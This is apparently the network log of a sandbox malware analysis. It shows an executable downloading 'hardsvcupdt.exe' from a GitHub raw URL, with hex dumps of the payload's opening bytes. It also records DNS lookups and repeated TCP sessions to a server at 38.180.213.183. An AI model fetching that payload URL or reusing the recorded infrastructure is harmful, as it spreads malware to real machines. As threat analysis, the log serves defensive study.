Aug 21, 2024 09:41:27.660862923 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:27.665765047 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.667550087 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:27.672693968 CEST	5432	63805	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.672744989 CEST	63805	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:27.792984009 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:27.797893047 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:27.797998905 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:27.807337046 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:27.812210083 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:28.612189054 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:28.613615990 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:28.618403912 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:28.789192915 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:28.789555073 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:28.794663906 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:28.966909885 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:28.966927052 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:28.967011929 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:28.967874050 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:28.967986107 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:28.972708941 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:28.972731113 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:29.146122932 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:29.146382093 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:29.151372910 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:29.321120977 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:29.341535091 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:29.346417904 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:29.518021107 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:29.572900057 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:32.948765039 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:32.953815937 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:33.124615908 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:33.124917030 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:33.129945040 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:33.304610968 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:33.305006027 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:33.313011885 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:33.625349045 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:33.625653982 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:33.630485058 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:33.800662041 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:33.801004887 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:33.806030035 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:33.976840973 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:33.977026939 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:33.982089996 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.153532028 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.153793097 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:34.159394026 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.329176903 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.329571962 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:34.334439039 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.507661104 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.507838964 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:34.512820005 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.682847023 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.683072090 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:34.683072090 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:34.688043118 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.688055038 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.689143896 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:34.694189072 CEST	5432	63806	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.694264889 CEST	63806	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:34.811228037 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:34.816164970 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:34.816265106 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:34.816312075 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:34.821129084 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:35.421821117 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:35.423249960 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:35.428807974 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:35.596126080 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:35.597565889 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:35.604516983 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:35.774507999 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:35.774524927 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:35.774593115 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:35.775315046 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:35.775422096 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:35.780108929 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:35.780136108 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:35.948158026 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:35.948388100 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:35.953259945 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:36.122383118 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:36.128427029 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:36.134680033 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:36.303561926 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:36.354160070 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:39.479716063 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:39.484724045 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:39.652616024 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:39.652791977 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:39.657558918 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:39.827073097 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:39.827306032 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:39.832123995 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:39.999022961 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:39.999186039 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:40.004592896 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:40.171308994 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:40.171565056 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:40.176388979 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:40.344005108 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:40.344322920 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:40.349111080 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:40.516645908 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:40.516812086 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:40.521594048 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:40.688541889 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:40.700628042 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:40.705598116 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:40.872904062 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:40.873918056 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:40.878813982 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:41.045769930 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:41.048970938 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:41.048994064 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:41.053968906 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:41.054022074 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:41.067095041 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:41.072473049 CEST	5432	63807	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:41.072536945 CEST	63807	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:41.183468103 CEST	63808	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:41.188342094 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:41.188441038 CEST	63808	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:41.188570023 CEST	63808	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:41.193308115 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:41.805054903 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:41.806515932 CEST	63808	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:41.811444998 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:41.980593920 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:41.983573914 CEST	63808	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:41.988478899 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:42.160198927 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:42.160217047 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:42.160269022 CEST	63808	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:42.160999060 CEST	63808	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:42.161056042 CEST	63808	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:42.166824102 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:42.166950941 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:42.337044954 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:42.337224960 CEST	63808	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:42.342053890 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:42.510914087 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:42.516935110 CEST	63808	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:41:42.521863937 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:42.693691969 CEST	5432	63808	38.180.213.183	192.168.2.6
Aug 21, 2024 09:41:42.744781017 CEST	63808	5432	192.168.2.6	38.180.213.183

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2024 09:39:37.703120947 CEST	61379	53	192.168.2.6	1.1.1.1
Aug 21, 2024 09:39:51.644015074 CEST	57056	53	192.168.2.6	1.1.1.1
Aug 21, 2024 09:39:51.652582884 CEST	53	57056	1.1.1.1	192.168.2.6
Aug 21, 2024 09:40:27.104036093 CEST	52051	53	192.168.2.6	1.1.1.1
Aug 21, 2024 09:40:27.111253977 CEST	53	52051	1.1.1.1	192.168.2.6
Aug 21, 2024 09:40:36.366151094 CEST	56507	53	192.168.2.6	1.1.1.1
Aug 21, 2024 09:40:36.551551104 CEST	53	56507	1.1.1.1	192.168.2.6
Aug 21, 2024 09:40:41.750860929 CEST	65356	53	192.168.2.6	1.1.1.1
Aug 21, 2024 09:40:41.757498026 CEST	53	65356	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 21, 2024 09:39:37.703120947 CEST	192.168.2.6	1.1.1.1	0x7600	Standard query (0)	tse1.mm.bing.net	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:39:51.644015074 CEST	192.168.2.6	1.1.1.1	0xd9f0	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:40:27.104036093 CEST	192.168.2.6	1.1.1.1	0x7fe6	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:40:36.366151094 CEST	192.168.2.6	1.1.1.1	0x768	Standard query (0)	runvrs.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:40:41.750860929 CEST	192.168.2.6	1.1.1.1	0xac20	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 21, 2024 09:39:37.712625027 CEST	1.1.1.1	192.168.2.6	0x7600	No error (0)	tse1.mm.bing.net	mm-mm.bing.net.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 21, 2024 09:39:37.712625027 CEST	1.1.1.1	192.168.2.6	0x7600	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:39:37.712625027 CEST	1.1.1.1	192.168.2.6	0x7600	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:39:51.652582884 CEST	1.1.1.1	192.168.2.6	0xd9f0	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:39:51.652582884 CEST	1.1.1.1	192.168.2.6	0xd9f0	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:39:51.652582884 CEST	1.1.1.1	192.168.2.6	0xd9f0	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:39:51.652582884 CEST	1.1.1.1	192.168.2.6	0xd9f0	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:40:27.111253977 CEST	1.1.1.1	192.168.2.6	0x7fe6	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:40:36.551551104 CEST	1.1.1.1	192.168.2.6	0x768	No error (0)	runvrs.com		38.180.213.183	A (IP address)	IN (0x0001)	false
Aug 21, 2024 09:40:41.757498026 CEST	1.1.1.1	192.168.2.6	0xac20	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	63778	185.199.108.133	443	3552	C:\Users\user\Desktop\Ld0f3NDosJ.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-21 07:39:52 UTC	348	OUT	GET /panchitopistolesx/items/main/hardsvcupdt.exe HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: raw.githubusercontent.com Connection: Keep-Alive
2024-08-21 07:39:52 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 15180800 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "d1a7de94421ac17b8fcb2e241080e66ee0f4b7510936df7f54af190aa7c459ba" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: F803:A456A:59CC:719F:66C599C1 Accept-Ranges: bytes Date: Wed, 21 Aug 2024 07:39:52 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890094-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724225992.254248,VS0,VE119 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 46d903d420360c7edc1b70621e3809785949ac6b Expires: Wed, 21 Aug 2024 07:44:52 GMT Source-Age: 0
2024-08-21 07:39:52 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 89 cc eb 6c cd ad 85 3f cd ad 85 3f cd ad 85 3f bd 2c 80 3e 60 ad 85 3f bd 2c 81 3e df ad 85 3f bd 2c 86 3e cb ad 85 3f dd 29 86 3e c7 ad 85 3f dd 29 81 3e dd ad 85 3f dd 29 80 3e 9a ad 85 3f bd 2c 84 3e c8 ad 85 3f cd ad 84 3f 56 ad 85 3f 85 28 8c 3e cc ad 85 3f 85 28 7a 3f cc ad 85 3f 85 28 87 3e cc ad 85 3f 52 69 63 68 cd ad 85 3f 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$l???,>`?,>?,>?)>?)>?)>?,>??V?(>?(z??(>?Rich?PEd
2024-08-21 07:39:52 UTC	1378	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 48 48 8d 4c 24 20 e8 c2 ff ff ff 48 8d 15 a3 31 e7 00 48 8d 4c 24 20 e8 c1 40 02 00 cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d 45 d4 03 00 0f 57 c0 48 8d 53 08 48 89 0b 48 8d 48 08 0f 11 02 e8 d3 3d 02 00 48 8d 05 60 bb 05 00 48 89 03 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d 05 d4 03 00 0f 57 c0 48 8d 53 08 48 89 0b 48 8d 48 08 0f 11 02 e8 93 3d 02 00 48 8d 05 00 d4 03 00 48 89 03 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc 48 83 ec 28 48 8d 0d 7d 49 06 00 e8 e8 05 02 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 40 48 8b 05 83 3e e7 00 48 33 c4 48 89 44 24 30 48 83 7a 18 0f 4c 8b c2 48 8b d9 76 03 4c 8b 02 48 8d 51 08 4c 89 44 24 20 48 8d 05 Data Ascii: HHHL$ H1HL$ @@SH HHHEWHSHHH=H`HHH [@SH HHHWHSHHH=HHHH [H(H}I@SH@H>H3HD$0HzLHvLHQLD$ H
2024-08-21 07:39:52 UTC	1378	IN	Data Raw: 48 89 07 48 8d 05 52 b7 05 00 0f 10 43 18 48 8b 5c 24 30 48 89 07 48 8b c7 0f 11 47 18 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8b da 48 8d 05 e4 ce 03 00 48 89 01 48 8d 51 08 48 8b f9 0f 57 c0 0f 11 02 48 8d 4b 08 e8 6f 38 02 00 48 8d 05 e4 b6 05 00 48 89 07 48 8b c7 0f 10 43 18 48 8b 5c 24 30 0f 11 47 18 48 83 c4 20 5f c3 cc cc cc 48 8b 09 e9 18 f9 01 00 cc cc cc cc cc cc cc cc 48 8d 05 59 44 06 00 c3 cc cc cc cc cc cc cc cc 40 53 48 83 ec 30 41 8b c8 48 8b da e8 8f 06 02 00 0f 57 c0 49 c7 c0 ff ff ff ff 0f 11 03 48 c7 43 10 00 00 00 00 48 c7 43 18 00 00 00 00 66 90 49 ff c0 42 80 3c 00 00 75 f6 48 8b d0 48 8b cb e8 fb ce 00 00 48 8b c3 48 83 c4 30 5b c3 cc cc 40 53 48 83 ec 20 48 8b d9 f6 c2 01 74 0a ba 10 00 00 00 Data Ascii: HHRCH\$0HHGH _H\$WH HHHHQHWHKo8HHHCH\$0GH _HHYD@SH0AHWIHCHCfIB<uHHHH0[@SH Ht
2024-08-21 07:39:52 UTC	1378	IN	Data Raw: 02 75 f7 48 8d 4c 24 48 e8 6d ca 00 00 48 8d 44 24 48 8b ce bf 01 00 00 00 eb 27 66 0f 6f 0d 57 b2 e6 00 48 8d 44 24 28 0f 57 c0 b9 02 00 00 00 0f 11 44 24 28 40 88 74 24 28 8b fe f3 0f 7f 4c 24 38 0f 10 00 0f 10 48 10 0f 11 03 0f 11 4b 10 48 89 70 10 48 c7 40 18 0f 00 00 00 40 88 30 48 8b b4 24 90 00 00 00 85 c9 74 39 48 8b 54 24 40 48 83 fa 0f 76 2e 48 8b 4c 24 28 48 ff c2 48 8b c1 48 81 fa 00 10 00 00 72 15 48 8b 49 f8 48 83 c2 27 48 2b c1 48 83 c0 f8 48 83 f8 1f 77 53 e8 36 16 02 00 85 ff 74 39 48 8b 54 24 60 48 83 fa 0f 76 2e 48 8b 4c 24 48 48 ff c2 48 8b c1 48 81 fa 00 10 00 00 72 15 48 8b 49 f8 48 83 c2 27 48 2b c1 48 83 c0 f8 48 83 f8 1f 77 16 e8 f9 15 02 00 48 8b c3 48 8b 9c 24 98 00 00 00 48 83 c4 70 5f c3 e8 8b 8f 02 00 cc cc cc 48 89 5c 24 10 Data Ascii: uHL$HmHD$H'foWHD$(WD$(@t$(L$8HKHpH@@0H$t9HT$@Hv.HL$(HHHrHIH'H+HHwS6t9HT$`Hv.HL$HHHHrHIH'H+HHwHH$Hp_H\$
2024-08-21 07:39:52 UTC	1378	IN	Data Raw: 00 00 e8 79 11 02 00 48 8b f0 48 89 45 67 48 8b 4b 08 48 85 c9 74 0f 48 8b 59 28 48 85 db 75 0d 48 8d 59 30 eb 07 48 8d 1d 48 3a 06 00 33 d2 48 8d 4d a7 e8 58 f2 01 00 90 4c 89 75 af c6 45 b7 00 4c 89 75 bf c6 45 c7 00 4c 89 75 cf 66 44 89 75 d7 4c 89 75 df 66 44 89 75 e7 4c 89 75 ef c6 45 f7 00 4c 89 75 ff c6 45 07 00 48 85 db 0f 84 fa 00 00 00 48 8b d3 48 8d 4d a7 e8 a4 f9 01 00 90 44 89 76 08 48 8d 05 5c ac 05 00 48 89 06 48 8d 4d 0f e8 80 05 02 00 0f 10 00 0f 10 48 10 0f 11 46 10 0f 11 4e 20 48 8d 4d 0f e8 a0 08 02 00 0f 10 08 0f 10 50 10 f2 0f 10 40 20 8b 48 28 0f 11 4e 30 0f 11 56 40 f2 0f 11 46 50 89 4e 58 48 89 37 48 8d 4d a7 e8 b5 f9 01 00 48 8b 4d ff 48 85 c9 74 05 e8 ef 7d 02 00 4c 89 75 ff 48 8b 4d ef 48 85 c9 74 05 e8 dd 7d 02 00 4c 89 75 ef Data Ascii: yHHEgHKHtHY(HuHY0HH:3HMXLuELuELufDuLufDuLuELuEHHHMDvH\HHMHFN HMP@ H(N0V@FPNXH7HMHMHt}LuHMHt}Lu
2024-08-21 07:39:52 UTC	1378	IN	Data Raw: 40 48 8b ac 24 80 00 00 00 48 8b c3 48 8b 4c 24 30 48 33 cc e8 dd 0b 02 00 48 83 c4 48 41 5e 5f 5e 5b c3 cc cc cc 48 89 5c 24 08 57 48 83 ec 20 83 79 20 00 48 8d 05 4b a7 05 00 48 89 01 8b fa 48 8b d9 74 09 48 8b 49 18 e8 28 79 02 00 48 8b 4b 28 e8 1f 79 02 00 48 8d 05 d8 c4 03 00 48 89 03 40 f6 c7 01 74 0d ba 60 00 00 00 48 8b cb e8 a2 0b 02 00 48 8b c3 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc cc 40 53 48 81 ec a0 00 00 00 0f 29 b4 24 90 00 00 00 48 8b d9 48 89 4c 24 20 41 0f 10 30 0f 57 c0 0f 11 44 24 30 0f 57 c9 f3 0f 7f 4c 24 40 49 c7 c0 ff ff ff ff 49 ff c0 42 80 3c 02 00 75 f6 48 8d 4c 24 30 e8 e7 be 00 00 90 48 8d 54 24 30 48 8d 4c 24 70 e8 87 82 00 00 66 0f 7f 74 24 20 4c 8b c0 48 8d 54 24 20 48 8d 4c 24 50 e8 1f ec ff ff 48 8b d0 48 8b cb e8 44 Data Ascii: @H$HHL$0H3HHA^_^[H\$WH y HKHHtHI(yHK(yHH@t`HHH\$0H _@SH)$HHL$ A0WD$0WL$@IIB<uHL$0HT$0HL$pft$ LHT$ HL$PHHD
2024-08-21 07:39:52 UTC	1378	IN	Data Raw: 40 c1 e9 12 83 c1 19 f7 e1 d1 ea 83 ea 01 89 54 24 34 0f 88 fc 01 00 00 45 2b d9 44 89 4c 24 38 41 83 eb 78 4c 89 44 24 40 49 8b d8 44 89 5c 24 28 48 c1 e3 08 48 8d 3d 78 d3 ff ff 42 0f b7 8c 57 a0 a3 e6 00 8d 04 d2 03 ca 48 89 5c 24 60 89 4c 24 3c 89 44 24 30 48 63 c1 48 bd 97 a5 b4 36 41 5f 70 89 4c 8d 14 40 4a 8b 84 d7 00 13 04 00 48 f7 e3 4a 8b 84 d7 08 13 04 00 48 8b ca 48 f7 e3 4c 8b c0 4c 8b ca 4a 8b 84 d7 10 13 04 00 49 03 c8 48 f7 e3 49 3b c8 41 8b cb 48 8b f8 49 13 f9 49 b9 31 30 95 f8 88 0a 68 31 48 3b f8 49 8b c1 48 83 d2 00 48 0f ad d7 4c 8b c2 48 f7 e7 49 d3 e8 48 8b c5 48 8b ca 48 f7 e7 4c 8b d0 48 8b da 49 8b c1 49 f7 e0 4c 8b c8 4c 8b da 48 8b c5 49 f7 e0 4d 8d 04 09 4b 8d 0c 10 48 89 54 24 68 49 3b ca 48 83 d0 00 4d 3b c1 49 13 c3 48 03 Data Ascii: @T$4E+DL$8AxLD$@ID\$(HH=xBWH\$`L$<D$0HcH6A_pL@JHJHHLLJIHI;AHII10h1H;IHHLHIHHHLHIILLHIMKHT$hI;HM;IH
